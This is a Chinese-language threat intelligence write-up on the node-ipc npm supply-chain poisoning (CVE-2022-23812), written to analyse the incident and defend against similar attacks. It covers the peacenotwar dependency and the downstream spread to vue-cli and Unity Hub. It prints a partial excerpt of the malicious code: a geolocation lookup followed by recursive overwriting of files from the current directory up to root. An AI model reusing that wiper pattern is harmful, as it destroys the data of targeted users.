情报背景
Node-ipc是使用广泛的npm开源组件,其作者出于其个人政治立场在代码仓库中进行了投毒,添加的恶意js文件会在用户桌面创建反战标语。根据进一步的深挖,该作者还曾在仓库中加入将俄罗斯与白俄罗斯区域用户数据抹除的恶意代码,但在随后改为看起来更温和的手段。目前各大开源组件托管商(例如npmmirror)已采取行动封杀恶意版本。Vue.js生态中的vue-cli包、开发工具Unity Hub也受到了该事件的波及,并通过更新进行处理。该事件是继color.js事件后又一开发者发起的供应链攻击事件,已经被分配CVE编号CVE-2022-23812,事件影响还在继续中。
组织名称 | 无 |
战术标签 | 初始访问,影响 |
技术标签 | 供应链投毒,开源组件,信任关系滥用(T1199) |
情报来源 | https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/ |
01 攻击技术分析
亮点一:隐匿于间接依赖的开源组件投毒
攻击阶段一:
Node-ipc项目的维护者RIAEvangelist在3月7日在Node-ipc开源仓库中引入了覆写俄罗斯与白俄罗斯区域用户的磁盘文件的恶意代码,受影响版本为10.1.1和10.1.2。
第一阶段的攻击中,攻击者利用api.ipgeolocation.io的API获取用户所在区域,对指定区域执行恶意代码。但由于该做法过于直接露骨,或是攻击者意识到抹除文件这一极端行为将会承受极大的法律风险,在之后的版本中移除了该磁盘覆写的功能。
// 利用公开API获取用户所在区域(key已失效)
const n = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
https.get(n.toString("utf8"), function (t) {
t.on("data", function (t) {
try {
const s = JSON.parse(t.toString("utf8"));
const u = s["country_name"].toLowerCase();
if (u.includes("russia") || path.includes("belarus")) { //若用户位于俄罗斯和白俄罗斯则执行恶意函数
h("./"); // 当前文件夹
h("../"); // 父文件夹
h("../../"); // 祖父文件夹
h("/"); // 根目录
}
} catch (t) {}
});
…
fs.writeFile(i, c.toString("utf8"), function () {}); // 用emoji覆写用户文件
攻击阶段二:
攻击者采用了更隐蔽与温和的攻击手段,放弃了覆写用户磁盘文件的激烈行为,转而在每个用户的桌面上创建所谓反战宣战文件的做法。写入文件的主要功能被放置于单独的npm包peacenotwar中。而Node-ipc等第三方包中只需两行代码即可将包含恶意功能的行为引入。
import { whatWeWant } from 'peacenotwar';
console.log(whatWeWant);
相比删除用户磁盘文件,创建反战宣传文件的行为虽然更温和,但桌面出现的随机文件也引起了许多用户的恐慌,是一种不可接受的行为。
相比于上一阶段直接在Node-ipc中进行投毒,引用第三方包的行为更加隐蔽,多级依赖也增加了排查的难度。
图 peacenotwar包的下载量激增
Peacenotwar包的引用量一开始不温不火,在攻击者将其添加到Node-ipc项目的依赖中之后出现了下载量的激增。值得警惕的是,目前该包尚未被官方完全移除,下载数依然居高不下。考虑到npm仓库中直接依赖于此包的仅有Node-ipc,该数据侧面说明该事件的影响还在继续扩散中。
亮点二:主动触发构建,扩散下游影响
攻击者作为下载量过亿的开源组件维护者,对项目构建依赖与自动构建流程的触发十分熟悉,在两个攻击阶段都利用了推出新版本、主动触发构建过程的方式,将带毒代码投递至各大项目中。
在3月15日攻击者更新Node-ipc的stable版本到9.2.2,并添加夹带私货的peacenotwar模块依赖,这使得依赖于此的项目触发了自动更新构建,两个比较典型的受害者是vue-cli和unity hub项目。
图 vue-cli组件受到投毒事件影响并尝试解决
图 unity官方开发工具受到投毒发布HotFix
图 vue-cli将node-ipc固定为未投毒版本以消除影响
观察vue-cli开源组件的应对方式,我们得以一窥隐藏于构建系统的开源组件版本依赖陷阱。Npm系统中版本依赖可以多种方式被指定。类似“^9.1.1”这样的写法会在构建时拉取同一大版本的最新版本,使得项目依赖的第三方组件版本其实是浮动的,这就给通过拉升版本号进行供应链投毒提供了可乘之机。Npm软件包一经发布,即便是开发者也无法修改内容,将依赖库版本限定于经过审核的具体版本,是一种更安全的第三方库引用方式。
借助自动构建与分发的过程,供应链投毒事件的影响从软件提供商扩散至下游终端用户。终端用户对于软件系统背后复杂的依赖关系通常缺少辨别的意识与能力,软件提供商的可信身份使恶意代码获得了被下载、以可信身份执行的机会。这种攻击手段在ATT&CK中隶属于信任关系滥用(T1199),常见于基于上游软件提供商的供应链攻击事件。信任关系的保证使得恶意代码在防护系统内畅通无阻,带来了更大的危害性(更高的执行权限,可信签名,杀软豁免目录),也大大增加了检测溯源的难度。
02 总结
这是一次针对特定地域开发者的定向供应链攻击,开发者背弃了开源精神而将开源项目作为其实现自身政治意图的工具,删除指定区域用户的文件则是一种开源恐怖主义行为。本次事件也展示了来自开源组件的威胁缺少有效的管控机制,大部分受害者是在恶意行为已经发生的情况下,才去溯源始作俑者。尽管最终的恶意行为仅是创建文件,但攻击潜力远不止于此,基于此手段的模仿攻击在整个生态圈造成的影响更加难以估量。
开源组件降低了开发成本,带来了软件生产方式的变革,是软件供应链生态中的重要一环,而这次事件使得开源项目与使用者之间微妙维系的信任链条出现裂痕。曾有供应链安全专家精妙地表述过存在于软件供应链中的系统威胁:“传统的供应链,是一级与一级之间,都签了合同的;但是在软件,尤其是开源软件的供应链,每一级之间,都有免责条款。”当信任链断裂,建立于开源体系的生态也将轰然倒塌。
但是本次事件所打开的潘多拉魔盒中也并不仅有混乱,全球开源参与者对该供应链投毒行为的主动揭发与批判,本身就蕴含了建立一种开源生态共识的潜在可能性。在这次事件中,我们看到了负责任的开源代码存储库所起到的作用——忠实记录攻击行为,并为终端用户及时阻断可能的供应链威胁。
Node-ipc事件也警示着所有依赖于开源项目的项目开发者,大型开源项目也并不总是可信,项目沦陷或开发者有意为之都可能导致恶意代码植入等严重后果。应当完善软件供应商的准入审核,将构建系统拉取的开源组件纳入审核体系,警惕来自次级依赖的供应链威胁。